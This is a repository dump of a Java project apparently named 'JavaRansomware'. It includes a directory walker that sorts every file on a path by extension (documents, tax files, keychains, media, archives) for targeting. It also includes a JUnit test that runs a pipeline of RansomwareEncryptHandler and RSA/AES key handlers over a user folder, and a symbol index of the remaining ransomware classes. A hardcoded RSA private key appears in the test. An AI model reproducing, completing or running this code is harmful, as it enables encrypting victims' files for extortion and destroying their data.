    private static final String HTM = "htm";
    private static final String HTML = "html";
    private static final String JS = "js";
    private static final String JSP = "jsp";
    private static final String PHP = "php";
    private static final String XHTML = "xhtml";

    // Font files
    private static final String FNT = "fnt";
    private static final String FONT = "font";
    private static final String OFT = "oft";
    private static final String TTF = "ttf";

    // Mick files
    private static final String CRDOWNLAOD = "crdownload";
    private static final String ICS = "ics";
    private static final String MSI = "msi";
    private static final String PART = "part";
    private static final String TORRENT = "torrent";


    private final HashMap<String, String> docMap;
    private final HashMap<String, String> docxMap;
    private final HashMap<String, String> logMap;
    private final HashMap<String, String> msgMap;
    private final HashMap<String, String> odtMap;
    private final HashMap<String, String> pagesMap;
    private final HashMap<String, String> rtfMap;
    private final HashMap<String, String> texMap;
    private final HashMap<String, String> txtMap;
    private final HashMap<String, String> wpdMap;
    private final HashMap<String, String> wpsMap;
    private final HashMap<String, String> hwpMap;


    private final HashMap<String, String> csvMap;
    private final HashMap<String, String> datMap;
    private final HashMap<String, String> gbrMap;
    private final HashMap<String, String> gedMap;
    private final HashMap<String, String> keyMap;
    private final HashMap<String, String> keychainMap;
    private final HashMap<String, String> ppsMap;
    private final HashMap<String, String> pptMap;
    private final HashMap<String, String> pptxMap;
    private final HashMap<String, String> sdfMap;
    private final HashMap<String, String> tarMap;
    private final HashMap<String, String> tax2012Map;
    private final HashMap<String, String> tax2014Map;
    private final HashMap<String, String> vcfMap;
    private final HashMap<String, String> xmlMap;


    private final HashMap<String, String> alfMap;
    private final HashMap<String, String> iffMap;
    private final HashMap<String, String> m3uMap;
    private final HashMap<String, String> m4aMap;
    private final HashMap<String, String> midMap;
    private final HashMap<String, String> mp3Map;
    private final HashMap<String, String> mpaMap;
    private final HashMap<String, String> raMap;
    private final HashMap<String, String> wavMap;
    private final HashMap<String, String> wmaMap;


    private final HashMap<String, String> g2Map;
    private final HashMap<String, String> gpMap;
    private final HashMap<String, String> asfMap;
    private final HashMap<String, String> asxMap;
    private final HashMap<String, String> aviMap;
    private final HashMap<String, String> flvlvMap;
    private final HashMap<String, String> m4vMap;
    private final HashMap<String, String> movMap;
    private final HashMap<String, String> mp4Map;
    private final HashMap<String, String> mpgMap;
    private final HashMap<String, String> rmMap;
    private final HashMap<String, String> srtMap;
    private final HashMap<String, String> swfMap;
    private final HashMap<String, String> vobMap;
    private final HashMap<String, String> wmvMap;


    private final HashMap<String, String> d3mMap;
    private final HashMap<String, String> d3sMap;
    private final HashMap<String, String> maxMap;
    private final HashMap<String, String> objMap;

    private final HashMap<String, String> bmpMap;
    private final HashMap<String, String> ddaMap;
    private final HashMap<String, String> gifMap;
    private final HashMap<String, String> jpgMap;
    private final HashMap<String, String> pngMap;
    private final HashMap<String, String> psdMap;
    private final HashMap<String, String> pspimageMap;
    private final HashMap<String, String> tgaMap;
    private final HashMap<String, String> thmMap;
    private final HashMap<String, String> tifMap;
    private final HashMap<String, String> tiffMap;
    private final HashMap<String, String> yuvMap;


    private final HashMap<String, String> aiMap;
    private final HashMap<String, String> epsMap;
    private final HashMap<String, String> psMap;
    private final HashMap<String, String> svgMap;


    private final HashMap<String, String> inddMap;
    private final HashMap<String, String> pctMap;
    private final HashMap<String, String> pdfMap;

    private final HashMap<String, String> xlrMap;
    private final HashMap<String, String> xlsMap;
    private final HashMap<String, String> xlsxMap;


    private final HashMap<String, String> z7Map;
    private final HashMap<String, String> rarMap;
    private final HashMap<String, String> zipMap;
    private final HashMap<String, String> targzMap;


    private final HashMap<String, String> apkMap;
    private final HashMap<String, String> appMap;
    private final HashMap<String, String> comMap;
    private final HashMap<String, String> exeMap;


    private final HashMap<String, String> aspMap;
    private final HashMap<String, String> aspxMap;
    private final HashMap<String, String> cssMap;
    private final HashMap<String, String> htmMap;
    private final HashMap<String, String> htmlMap;
    private final HashMap<String, String> jsMap;
    private final HashMap<String, String> jspMap;
    private final HashMap<String, String> phpMap;
    private final HashMap<String, String> xhtmlMap;

    private final HashMap<String, String> fntMap;
    private final HashMap<String, String> fontMap;
    private final HashMap<String, String> oftMap;
    private final HashMap<String, String> ttfMap;


    private final HashMap<String, String> crdownloadMap;
    private final HashMap<String, String> icsMap;
    private final HashMap<String, String> msiMap;
    private final HashMap<String, String> partMap;
    private final HashMap<String, String> torrentMap;


    private final TreeMap<String, HashMap<String, String>> containsFilters;
    private String PathtoFind;


    public SearchDirectory(String PathtoFind) {
        this.docMap = new HashMap<String, String>();
        this.docxMap = new HashMap<String, String>();
        this.logMap = new HashMap<String, String>();
        this.msgMap = new HashMap<String, String>();
        this.odtMap = new HashMap<String, String>();
        this.pagesMap = new HashMap<String, String>();
        this.rtfMap = new HashMap<String, String>();
        this.texMap = new HashMap<String, String>();
        this.txtMap = new HashMap<String, String>();
        this.wpdMap = new HashMap<String, String>();
        this.wpsMap = new HashMap<String, String>();
        this.hwpMap = new HashMap<String, String>();


        this.csvMap = new HashMap<String, String>();
        this.datMap = new HashMap<String, String>();
        this.gbrMap = new HashMap<String, String>();
        this.gedMap = new HashMap<String, String>();
        this.keyMap = new HashMap<String, String>();
        this.keychainMap = new HashMap<String, String>();
        this.ppsMap = new HashMap<String, String>();
        this.pptMap = new HashMap<String, String>();
        this.pptxMap = new HashMap<String, String>();
        this.sdfMap = new HashMap<String, String>();
        this.tarMap = new HashMap<String, String>();
        this.tax2012Map = new HashMap<String, String>();
        this.tax2014Map = new HashMap<String, String>();
        this.vcfMap = new HashMap<String, String>();
        this.xmlMap = new HashMap<String, String>();


        this.alfMap = new HashMap<String, String>();
        this.iffMap = new HashMap<String, String>();
        this.m3uMap = new HashMap<String, String>();
        this.m4aMap = new HashMap<String, String>();
        this.midMap = new HashMap<String, String>();
        this.mp3Map = new HashMap<String, String>();
        this.mpaMap = new HashMap<String, String>();
        this.raMap = new HashMap<String, String>();
        this.wavMap = new HashMap<String, String>();
        this.wmaMap = new HashMap<String, String>();


        this.g2Map = new HashMap<String, String>();
        this.gpMap = new HashMap<String, String>();
        this.asfMap = new HashMap<String, String>();
        this.asxMap = new HashMap<String, String>();
        this.aviMap = new HashMap<String, String>();
        this.flvlvMap = new HashMap<String, String>();
        this.m4vMap = new HashMap<String, String>();
        this.movMap = new HashMap<String, String>();
        this.mp4Map = new HashMap<String, String>();
        this.mpgMap = new HashMap<String, String>();
        this.rmMap = new HashMap<String, String>();
        this.srtMap = new HashMap<String, String>();
        this.swfMap = new HashMap<String, String>();
        this.vobMap = new HashMap<String, String>();
        this.wmvMap = new HashMap<String, String>();


        this.d3mMap = new HashMap<String, String>();
        this.d3sMap = new HashMap<String, String>();
        this.maxMap = new HashMap<String, String>();
        this.objMap = new HashMap<String, String>();

        this.bmpMap = new HashMap<String, String>();
        this.ddaMap = new HashMap<String, String>();
        this.gifMap = new HashMap<String, String>();
        this.jpgMap = new HashMap<String, String>();
        this.pngMap = new HashMap<String, String>();
        this.psdMap = new HashMap<String, String>();
        this.pspimageMap = new HashMap<String, String>();
        this.tgaMap = new HashMap<String, String>();
        this.thmMap = new HashMap<String, String>();
        this.tifMap = new HashMap<String, String>();
        this.tiffMap = new HashMap<String, String>();
        this.yuvMap = new HashMap<String, String>();


        this.aiMap = new HashMap<String, String>();
        this.epsMap = new HashMap<String, String>();
        this.psMap = new HashMap<String, String>();
        this.svgMap = new HashMap<String, String>();


        this.inddMap = new HashMap<String, String>();
        this.pctMap = new HashMap<String, String>();
        this.pdfMap = new HashMap<String, String>();

        this.xlrMap = new HashMap<String, String>();
        this.xlsMap = new HashMap<String, String>();
        this.xlsxMap = new HashMap<String, String>();


        this.z7Map = new HashMap<String, String>();
        this.rarMap = new HashMap<String, String>();
        this.zipMap = new HashMap<String, String>();
        this.targzMap = new HashMap<String, String>();


        this.apkMap = new HashMap<String, String>();
        this.appMap = new HashMap<String, String>();
        this.comMap = new HashMap<String, String>();
        this.exeMap = new HashMap<String, String>();


        this.aspMap = new HashMap<String, String>();
        this.aspxMap = new HashMap<String, String>();
        this.cssMap = new HashMap<String, String>();
        this.htmMap = new HashMap<String, String>();
        this.htmlMap = new HashMap<String, String>();
        this.jsMap = new HashMap<String, String>();
        this.jspMap = new HashMap<String, String>();
        this.phpMap = new HashMap<String, String>();
        this.xhtmlMap = new HashMap<String, String>();

        this.fntMap = new HashMap<String, String>();
        this.fontMap = new HashMap<String, String>();
        this.oftMap = new HashMap<String, String>();
        this.ttfMap = new HashMap<String, String>();


        this.crdownloadMap = new HashMap<String, String>();
        this.icsMap = new HashMap<String, String>();
        this.msiMap = new HashMap<String, String>();
        this.partMap = new HashMap<String, String>();
        this.torrentMap = new HashMap<String, String>();

        this.containsFilters = new TreeMap<String, HashMap<String, String>>();
        this.PathtoFind = PathtoFind;
        this.AddContainFilter();
        this.SavAllFilters();
    }

    private void AddContainFilter() {

        containsFilters.put(DOC, docMap);
        containsFilters.put(DOCX, docxMap);
        containsFilters.put(LOG, logMap);
        containsFilters.put(MSG, msgMap);
        containsFilters.put(ODT, odtMap);
        containsFilters.put(PAGES, pagesMap);
        containsFilters.put(RTF, rtfMap);
        containsFilters.put(TEX, texMap);
        containsFilters.put(TXT, txtMap);
        containsFilters.put(WPD, wpdMap);
        containsFilters.put(WPS, wpsMap);
        containsFilters.put(HWP, hwpMap);

        // Data files
        containsFilters.put(CSV, csvMap);
        containsFilters.put(DAT, datMap);
        containsFilters.put(GBR, gbrMap);
        containsFilters.put(GED, gedMap);
        containsFilters.put(KEY, keyMap);
        containsFilters.put(KEYCHAIN, keychainMap);
        containsFilters.put(PPS, ppsMap);
        containsFilters.put(PPT, pptMap);
        containsFilters.put(PPTX, pptxMap);
        containsFilters.put(SDF, sdfMap);
        containsFilters.put(TAR, tarMap);
        containsFilters.put(TAX2012, tax2012Map);
        containsFilters.put(TAX2014, tax2014Map);
        containsFilters.put(VCF, vcfMap);
        containsFilters.put(XML, xmlMap);

        // Audio files
        containsFilters.put(ALF, alfMap);
        containsFilters.put(IFF, iffMap);
        containsFilters.put(M3U, m3uMap);
        containsFilters.put(M4A, m4aMap);
        containsFilters.put(MID, midMap);
        containsFilters.put(MP3, mp3Map);
        containsFilters.put(MPA, mpaMap);
        containsFilters.put(RA, raMap);
        containsFilters.put(WAV, wavMap);
        containsFilters.put(WMA, wmaMap);

        // Video files
        containsFilters.put(G32, g2Map);
        containsFilters.put(G3P, gpMap);
        containsFilters.put(ASF, asfMap);
        containsFilters.put(ASX, asxMap);
        containsFilters.put(AVI, aviMap);
        containsFilters.put(FLV, flvlvMap);
        containsFilters.put(M4A, m4vMap);
        containsFilters.put(MOV, movMap);
        containsFilters.put(MP4, mp4Map);
        containsFilters.put(MPG, mpgMap);
        containsFilters.put(RM, rmMap);
        containsFilters.put(SRT, srtMap);
        containsFilters.put(SWF, swfMap);
        containsFilters.put(VOB, vobMap);
        containsFilters.put(WMV, wmvMap);


        // 3D image files
        containsFilters.put(D3M, d3mMap);
        containsFilters.put(D3S, d3sMap);
        containsFilters.put(MAX, maxMap);
        containsFilters.put(OBJ, objMap);


        // Raster image files
        containsFilters.put(BMP, bmpMap);
        containsFilters.put(DDA, ddaMap);
        containsFilters.put(GIF, gifMap);
        containsFilters.put(JPG, jpgMap);
        containsFilters.put(PNG, pngMap);
        containsFilters.put(PSD, psdMap);
        containsFilters.put(PSIMAGE, pspimageMap);
        containsFilters.put(TGA, tgaMap);
        containsFilters.put(THM, thmMap);
        containsFilters.put(TIF, tifMap);
        containsFilters.put(TIFF, tiffMap);
        containsFilters.put(YUV, yuvMap);


        // Vector image files
        containsFilters.put(AI, aiMap);
        containsFilters.put(EPS, epsMap);
        containsFilters.put(PS, psMap);
        containsFilters.put(SVG, svgMap);

        // Page layout files
        containsFilters.put(INDD, inddMap);
        containsFilters.put(PCT, pctMap);
        containsFilters.put(PDF, pdfMap);


        // Spreadsheet files
        containsFilters.put(XLR, xlrMap);
        containsFilters.put(XLS, xlsMap);
        containsFilters.put(XLSX, xlsxMap);


        // Compressed files
        containsFilters.put(Z7, z7Map);
        containsFilters.put(RAR, rarMap);
        containsFilters.put(ZIP, zipMap);
        containsFilters.put(TARGZ, targzMap);


        // Executable files
        containsFilters.put(APK, apkMap);
        containsFilters.put(APP, appMap);
        containsFilters.put(COM, comMap);
        containsFilters.put(EXE, exeMap);


        // Web files
        containsFilters.put(ASP, aspMap);
        containsFilters.put(ASPX, aspxMap);
        containsFilters.put(CSS, cssMap);
        containsFilters.put(HTM, htmMap);
        containsFilters.put(HTML, htmlMap);
        containsFilters.put(JS, jsMap);
        containsFilters.put(JSP, jspMap);
        containsFilters.put(PHP, phpMap);
        containsFilters.put(XHTML, xhtmlMap);

        // Font files
        containsFilters.put(FNT, fntMap);
        containsFilters.put(FONT, fontMap);
        containsFilters.put(OFT, oftMap);
        containsFilters.put(TTF, ttfMap);

        // Mick files
        containsFilters.put(CRDOWNLAOD, crdownloadMap);
        containsFilters.put(ICS, icsMap);
        containsFilters.put(MSI, msiMap);
        containsFilters.put(PART, partMap);
        containsFilters.put(TORRENT, torrentMap);


    }


    private void SavAllFilters() {
        try (Stream<Path> paths = Files.walk(Paths.get(PathtoFind))) {
            paths.forEach(filePath -> {
                if (Files.isRegularFile(filePath)) {
                    System.out.println(filePath);
                    String extendsion = FilenameUtils.getExtension(filePath.toString());
                    String FilePath = FilenameUtils.removeExtension(filePath.toString());
                    SaveToMap(extendsion, FilePath);
                }
            });
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void SaveToMap(String extension, String FilePath) {
        switch (extension) {
            case DOC:
                docMap.put(FilePath, extension);
                break;
            case DOCX:
                docxMap.put(FilePath, extension);
                break;
            case LOG:
                logMap.put(FilePath, extension);
                break;
            case MSG:
                msgMap.put(FilePath, extension);
                break;
            case ODT:
                odtMap.put(FilePath, extension);
                break;
            case PAGES:
                pagesMap.put(FilePath, extension);
                break;
            case RTF:
                rtfMap.put(FilePath, extension);
                break;
            case TEX:
                texMap.put(FilePath, extension);
                break;
            case TXT:
                txtMap.put(FilePath, extension);
                break;
            case WPD:
                wpdMap.put(FilePath, extension);
                break;
            case WPS:
                wpsMap.put(FilePath, extension);
                break;
            case HWP:
                hwpMap.put(FilePath, extension);
                break;
            case CSV:
                csvMap.put(FilePath, extension);
                break;
            case DAT:
                datMap.put(FilePath, extension);
                break;
            case GBR:
                gbrMap.put(FilePath, extension);
                break;
            case GED:
                gedMap.put(FilePath, extension);
                break;
            case KEY:
                keyMap.put(FilePath, extension);
                break;
            case KEYCHAIN:
                keychainMap.put(FilePath, extension);
                break;
            case PPS:
                ppsMap.put(FilePath, extension);
                break;
            case PPT:
                pptMap.put(FilePath, extension);
                break;
            case PPTX:
                pptxMap.put(FilePath, extension);
                break;
            case SDF:
                sdfMap.put(FilePath, extension);
                break;
            case TAR:
                tarMap.put(FilePath, extension);
                break;
            case TAX2012:
                tax2012Map.put(FilePath, extension);
                break;
            case TAX2014:
                tax2014Map.put(FilePath, extension);
                break;
            case VCF:
                vcfMap.put(FilePath, extension);
                break;
            case XML:
                xmlMap.put(FilePath, extension);
                break;
            case ALF:
                alfMap.put(FilePath, extension);
                break;
            case IFF:
                iffMap.put(FilePath, extension);
                break;
            case M3U:
                m3uMap.put(FilePath, extension);
                break;
            case M4A:
                m4aMap.put(FilePath, extension);
                break;
            case MID:
                midMap.put(FilePath, extension);
                break;
            case MP3:
                mp3Map.put(FilePath, extension);
                break;
            case MPA:
                mpaMap.put(FilePath, extension);
                break;
            case RA:
                raMap.put(FilePath, extension);
                break;
            case WAV:
                wavMap.put(FilePath, extension);
                break;
            case WMA:
                wmaMap.put(FilePath, extension);
                break;
            case G32:
                g2Map.put(FilePath, extension);
                break;
            case G3P:
                gpMap.put(FilePath, extension);
                break;
            case ASF:
                asfMap.put(FilePath, extension);
                break;
            case ASX:
                asxMap.put(FilePath, extension);
                break;
            case AVI:
                aviMap.put(FilePath, extension);
                break;
            case FLV:
                flvlvMap.put(FilePath, extension);
                break;
            case M4V:
                m4vMap.put(FilePath, extension);
                break;
            case MOV:
                movMap.put(FilePath, extension);
                break;
            case MP4:
                mp4Map.put(FilePath, extension);
                break;
            case MPG:
                mpgMap.put(FilePath, extension);
                break;
            case RM:
                rmMap.put(FilePath, extension);
                break;
            case SRT:
                srtMap.put(FilePath, extension);
                break;
            case SWF:
                swfMap.put(FilePath, extension);
                break;
            case VOB:
                vobMap.put(FilePath, extension);
                break;
            case WMV:
                wmvMap.put(FilePath, extension);
                break;
            case D3M:
                d3mMap.put(FilePath, extension);
                break;
            case D3S:
                d3sMap.put(FilePath, extension);
                break;
            case MAX:
                maxMap.put(FilePath, extension);
                break;
            case OBJ:
                objMap.put(FilePath, extension);
                break;
            case BMP:
                bmpMap.put(FilePath, extension);
                break;
            case DDA:
                ddaMap.put(FilePath, extension);
                break;
            case GIF:
                gifMap.put(FilePath, extension);
                break;
            case JPG:
                jpgMap.put(FilePath, extension);
                break;
            case PNG:
                pngMap.put(FilePath, extension);
                break;
            case PSD:
                psdMap.put(FilePath, extension);
                break;
            case PSIMAGE:
                psdMap.put(FilePath, extension);
                break;
            case TGA:
                tgaMap.put(FilePath, extension);
                break;
            case THM:
                thmMap.put(FilePath, extension);
                break;
            case TIF:
                tifMap.put(FilePath, extension);
                break;
            case TIFF:
                tiffMap.put(FilePath, extension);
                break;
            case YUV:
                yuvMap.put(FilePath, extension);
                break;
            case AI:
                aiMap.put(FilePath, extension);
                break;
            case EPS:
                epsMap.put(FilePath, extension);
                break;
            case PS:
                psMap.put(FilePath, extension);
                break;
            case SVG:
                svgMap.put(FilePath, extension);
                break;
            case INDD:
                inddMap.put(FilePath, extension);
                break;
            case PCT:
                pctMap.put(FilePath, extension);
                break;
            case PDF:
                pdfMap.put(FilePath, extension);
                break;
            case XLR:
                xlrMap.put(FilePath, extension);
                break;
            case XLS:
                xlsMap.put(FilePath, extension);
                break;
            case XLSX:
                xlsxMap.put(FilePath, extension);
                break;
            case Z7:
                z7Map.put(FilePath, extension);
                break;
            case RAR:
                rarMap.put(FilePath, extension);
                break;
            case ZIP:
                zipMap.put(FilePath, extension);
                break;
            case TARGZ:
                targzMap.put(FilePath, extension);
                break;
            case APK:
                apkMap.put(FilePath, extension);
                break;
            case APP:
                appMap.put(FilePath, extension);
                break;
            case COM:
                comMap.put(FilePath, extension);
                break;
            case EXE:
                exeMap.put(FilePath, extension);
                break;
            case ASP:
                aspMap.put(FilePath, extension);
                break;
            case ASPX:
                aspxMap.put(FilePath, extension);
                break;
            case CSS:
                cssMap.put(FilePath, extension);
                break;
            case HTM:
                htmMap.put(FilePath, extension);
                break;
            case HTML:
                htmlMap.put(FilePath, extension);
                break;
            case JS:
                jsMap.put(FilePath, extension);
                break;
            case JSP:
                jspMap.put(FilePath, extension);
                break;
            case PHP:
                phpMap.put(FilePath, extension);
                break;
            case XHTML:
                xhtmlMap.put(FilePath, extension);
                break;
            case FNT:
                fntMap.put(FilePath, extension);
                break;
            case FONT:
                fontMap.put(FilePath, extension);
                break;
            case OFT:
                oftMap.put(FilePath, extension);
                break;
            case TTF:
                ttfMap.put(FilePath, extension);
                break;
            case CRDOWNLAOD:
                crdownloadMap.put(FilePath, extension);
                break;
            case ICS:
                icsMap.put(FilePath, extension);
                break;
            case MSI:
                msiMap.put(FilePath, extension);
                break;
            case PART:
                partMap.put(FilePath, extension);
                break;
            case TORRENT:
                torrentMap.put(FilePath, extension);
                break;
            default:
                System.out.println("Error " + FilePath + extension);
                break;

        }
    }

    public TreeMap<String, HashMap<String, String>> GetFileMap() {
        return containsFilters;
    }

}


================================================
FILE: src/main/java/com/security/Serializer.java
================================================
package com.security;


import lombok.Getter;
import lombok.SneakyThrows;
import org.apache.fury.Fury;
import org.apache.fury.ThreadSafeFury;
import org.apache.fury.config.Language;

@Getter
public class Serializer {

    private static volatile Serializer instance;

    private final ThreadSafeFury fury;

    private Serializer() throws ClassNotFoundException {
        if (instance != null) {
            throw new IllegalStateException("Already initialized.");
        }
        this.fury = Fury.builder()
                .withLanguage(Language.JAVA)
                .withRefTracking(false)
                .withRefCopy(false)
                .withLongCompressed(true)
                .withIntCompressed(true)
                .withStringCompressed(true)
                .withScalaOptimizationEnabled(true)
                .withClassVersionCheck(false)
                .withAsyncCompilation(false)
                .withCodegen(false)
                .requireClassRegistration(false)
                .buildThreadSafeFury();
    }

    @SneakyThrows
    public static Serializer getInstance() {

        Serializer result = instance;
        if (result == null) {
            synchronized (Serializer.class) {
                result = instance;
                if (result == null) {
                    result = new Serializer();
                    instance = result;
                }
            }
        }
        return result;
    }
}


================================================
FILE: src/resources/test.txt
================================================
test data

================================================
FILE: src/test/java/com/Examples/ExampleTest.java
================================================
package com.Examples;

import com.security.*;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;
import org.junit.jupiter.api.*;

import javax.crypto.SecretKey;
import java.io.File;
import java.io.IOException;
import java.net.URISyntaxException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.security.GeneralSecurityException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.sql.SQLException;
import java.util.Collection;
import java.util.Objects;
import java.util.stream.Stream;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;

@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class ExampleTest {
    private static final String PubicKey = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==";
    private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";


    @Test
    @Order(1)
    public void PipelineTest() throws URISyntaxException {
        Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\just");
        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
        PipelineData pipelineData = new PipelineData();
        pipelineData.setPrivateKey(PrivateKey);
        pipelineData.setPublicKey(PubicKey);
        pipelineData.setRootPath(testPath.toAbsolutePath().toString());

        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new DecryptKeyHandler())
                .addHandler(new GenSymmetricKeyHandler())
                .addHandler(new RansomwareEncryptHandler())
                .addHandler(new EncryptKeyHandler())
                .addHandler(new DatabaseStoreHandler());
        var encrypt_output = encrypt_filters.execute(pipelineData);
        System.out.println("Pipeline output: " + encrypt_output);


        Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())
                .addHandler(new DecryptKeyHandler())
                .addHandler(new RansomwareDecryptHandler());
        var decrypt_output = decrypt_filters.execute(pipelineData);
        System.out.println("Pipeline output: " + decrypt_output);
    }

    @Test
    @Order(2)
    public void DatabaseTest() {
        try {
            // Check if a string already exists
            String existingString = DerbyStorage.getInstance().retrieveString();

            if (existingString != null) {
                System.out.println("Retrieved existing string: " + existingString);
            } else {
                // Store a new string
                DerbyStorage.getInstance().storeString("Hello, Derby!");

                // Retrieve and display the stored string
                String retrievedString = DerbyStorage.getInstance().retrieveString();
                System.out.println("Retrieved newly stored string: " + retrievedString);
            }
        } catch (SQLException e) {
            e.printStackTrace();
        } finally {
            //DerbyStorage.getInstance().close();
        }
    }

    @Test
    @Order(3)
    public void PrintAllPaths() {
        String logFilePath = "path/to/system.log"; // Replace with the actual log file path
        String searchString = "encryptedKeyDB"; // Replace with the string you want to search for
        Path rootPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\");
        Collection<File> files = FileUtils.listFilesAndDirs(
                rootPath.toFile(),
                TrueFileFilter.INSTANCE,
                TrueFileFilter.INSTANCE
        );
        files.parallelStream().forEach(file -> {
            if (file.toPath().toAbsolutePath().toString().contains(searchString)) {
                return;
            }
            if (file.isDirectory()) {
                System.out.println("Directory: " + file);
            } else {
                System.out.println("File: " + file.toPath().toAbsolutePath());
            }
        });

        try (Stream<String> stream = Files.lines(Paths.get(logFilePath))) {
            boolean found = stream.anyMatch(line -> line.contains(searchString));
            assertFalse(found);
        } catch (IOException e) {
            //e.printStackTrace();
        }
    }

    @Test
    @Order(4)
    public void RSAEncryption() throws GeneralSecurityException {
        String message = "Hello, RSA!";
        RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();
        PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());
        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());
        String encrypted = RSACipher.getInstance().encrypt(message.getBytes(StandardCharsets.UTF_8), pub);
        String res = RSACipher.getInstance().decrypt(encrypted, privateKey);
        assertEquals(message, res);
    }

    @Test
    @Order(5)
    public void AESEncryption() throws Exception {
        Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
        SecretKey key = AESCipher.generateAndSaveKey("secret.key");
        AESCipher.encryptFile(testPath.toFile().getPath(), key);
        AESCipher.decryptFile(testPath.toFile().getPath(), key);
    }

    @Test
    @Order(6)
    public void RSAWithAESEncryption() throws Exception {
        Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
        String key = AESCipher.generateAndNotSaveKeyAsString();
        RSAGenKeyReader.StringKeyPair keyPair = RSAGenKeyReader.generateKeyPair();
        PublicKey pub = RSAGenKeyReader.loadPublicKey(keyPair.publicKey());
        PrivateKey privateKey = RSAGenKeyReader.loadPrivateKey(keyPair.privateKey());
        String encrypted = RSACipher.getInstance().encrypt(key.getBytes(StandardCharsets.UTF_8), pub);
        String encodedkey = RSACipher.getInstance().decrypt(encrypted, privateKey);
        SecretKey copykey = AESCipher.loadKey(encodedkey);
        AESCipher.encryptFile(testPath.toFile().getPath(), copykey);
        AESCipher.decryptFile(testPath.toFile().getPath(), copykey);
    }

    @AfterAll
    public static void tearDown() {
        DerbyStorage.getInstance().close();
    }
}
Download .txt
gitextract_8o92klmj/

├── .gitignore
├── LICENSE
├── README.md
├── appveyor.yml
├── dependency-reduced-pom.xml
├── encryptedKeyDB/
│   ├── README_DO_NOT_TOUCH_FILES.txt
│   ├── log/
│   │   ├── README_DO_NOT_TOUCH_FILES.txt
│   │   ├── log.ctrl
│   │   └── logmirror.ctrl
│   ├── seg0/
│   │   └── README_DO_NOT_TOUCH_FILES.txt
│   └── service.properties
├── pom.xml
├── secret.key
└── src/
    ├── assembly/
    │   └── assembly.xml
    ├── main/
    │   └── java/
    │       └── com/
    │           └── security/
    │               ├── AESCipher.java
    │               ├── DatabaseRetrieveHandler.java
    │               ├── DatabaseStoreHandler.java
    │               ├── DecryptKeyHandler.java
    │               ├── DerbyStorage.java
    │               ├── EncryptKeyHandler.java
    │               ├── Example.java
    │               ├── GenSymmetricKeyHandler.java
    │               ├── Handler.java
    │               ├── Pipeline.java
    │               ├── PipelineData.java
    │               ├── RSACipher.java
    │               ├── RSAGenKeyReader.java
    │               ├── RansomwareDecryptHandler.java
    │               ├── RansomwareEncryptHandler.java
    │               ├── RansomwareException.java
    │               ├── SearchDirectory.java
    │               └── Serializer.java
    ├── resources/
    │   └── test.txt
    └── test/
        └── java/
            └── com/
                └── Examples/
                    └── ExampleTest.java
Download .txt
SYMBOL INDEX (80 symbols across 19 files)

FILE: src/main/java/com/security/AESCipher.java
  class AESCipher (line 15) | public class AESCipher {
    method generateAndNotSaveKeyAsString (line 23) | public static String generateAndNotSaveKeyAsString() throws Exception {
    method generateAndNotSaveKey (line 33) | public static SecretKey generateAndNotSaveKey() throws Exception {
    method generateAndSaveKey (line 40) | public static SecretKey generateAndSaveKey(String keyFile) throws Exce...
    method loadKey (line 52) | public static SecretKey loadKey(String encodedKey) throws IOException {
    method loadKeyFormFile (line 58) | public static SecretKey loadKeyFormFile(String keyFile) throws IOExcep...
    method encryptFile (line 65) | public static void encryptFile(String filePath, SecretKey key) throws ...
    method decryptFile (line 88) | public static void decryptFile(String filePath, SecretKey key) throws ...

FILE: src/main/java/com/security/DatabaseRetrieveHandler.java
  class DatabaseRetrieveHandler (line 5) | public class DatabaseRetrieveHandler implements Handler<PipelineData, Pi...
    method DatabaseRetrieveHandler (line 7) | public DatabaseRetrieveHandler() {
    method process (line 10) | @SneakyThrows

FILE: src/main/java/com/security/DatabaseStoreHandler.java
  class DatabaseStoreHandler (line 5) | public class DatabaseStoreHandler implements Handler<PipelineData, Pipel...
    method DatabaseStoreHandler (line 7) | public DatabaseStoreHandler() {
    method process (line 10) | @SneakyThrows

FILE: src/main/java/com/security/DecryptKeyHandler.java
  class DecryptKeyHandler (line 7) | public class DecryptKeyHandler implements Handler<PipelineData, Pipeline...
    method process (line 8) | @Override

FILE: src/main/java/com/security/DerbyStorage.java
  class DerbyStorage (line 5) | public class DerbyStorage {
